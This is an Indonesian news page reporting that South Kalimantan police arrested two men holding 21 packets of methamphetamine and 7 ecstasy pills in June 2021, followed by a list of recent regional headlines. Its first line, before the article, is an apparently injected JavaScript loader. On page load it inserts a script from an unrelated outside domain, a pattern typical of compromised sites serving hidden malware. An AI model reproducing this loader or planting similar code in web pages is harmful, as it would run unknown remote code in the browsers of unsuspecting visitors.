(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ditresnarkoba Polda Kalsel Ringkus 2 Pria Simpan 21 Paket Sabu dan 7 Butir Ekstasi


KANALKALIMANTAN.COM, BANJARMASIN– Ditresnarkoba Polda Kalsel meringkus dua orang tersangka yang kedapatan menyimpan 21 paket sabu dan 7 butir ekstasi, Senin (21/6/2021).

Tersangka berinisial ZN (46) tak berkutik setelah polisi menemukan sejumlah narkoba di rumahnya.

Di rumahnya, warga Jalan A Yani Km 8, Simpang 3 Cekdam, Kelurahan Pandan Sari, Kecamatan Kintap, Kabupaten Tanah Laut, polisi menemukan 8 paket sabu dan 7 butir ekstasi warna merah logo huruf A, tersimpan di dalam botol warna biru di bawah kasur.

Pada saat penggeledahan di kediaman tersangka dipimpin Kasubdit III Ditresnarkoba Polda Kalsel, AKBP Niko Irawan. Penggerebekan ZN setelah polisi memperoleh informasi akurat tentang tersangka yang diduga memiliki narkoba di rumahnya.

Setelah penggeledahan di rumah ZN, polisi meyakini masih ada tambahan barang bukti lain yang disembunyikan oleh tersangka.

 

 

Dan pada saat dilakukan penggeledahan kembali, ditemukan 13 paket sabu di dapur. Tapi menurut ZN, barang tersebut milik orang lain berinisial SD (29) yang tinggal berdekatan dengan rumah pelaku.

Baca juga: Reforma Agraria di Kalsel Kini Sasar Kabupaten Tapin, HSU, dan Tabalong 

Tak lama setelah mendengar pengakuan tersebut, polisi bergegas menuju rumah SD yang berprofesi petani. Keduanya pun kemudian dibawa Ditresnarkoba Polda Kalsel guna proses penyidikan.

Direktur Ditresnarkoba Polda Kalsel, Kombes Pol Tri Wahyudi melalui Kasubdit III, AKBP Niko Irawan saat dikonfirmasi, Rabu (23/6/2021) membenarkan telah mengamankan kedua tersangka narkotika tersebut.

“Total barang bukti yang kita dapatkan sebanyak, 21 paket sabu dengan berat bersih 12,43 gram, dan 7 butir ekstasi,” ucapnya.

Untuk mempertanggungjawabkan perbuatannya, kini ZN dan SD dikenakan pasal 114 ayat (2) sub pasal 112 ayat (2) jo pasal 132 ayat (1) UU RI Nomor 35 tahun 2009 tentang Narkotika. (Kanalkalimantan.com/shintia)

Reporter: shintia
Editor: cell


Risa

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

7 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

12 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

12 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.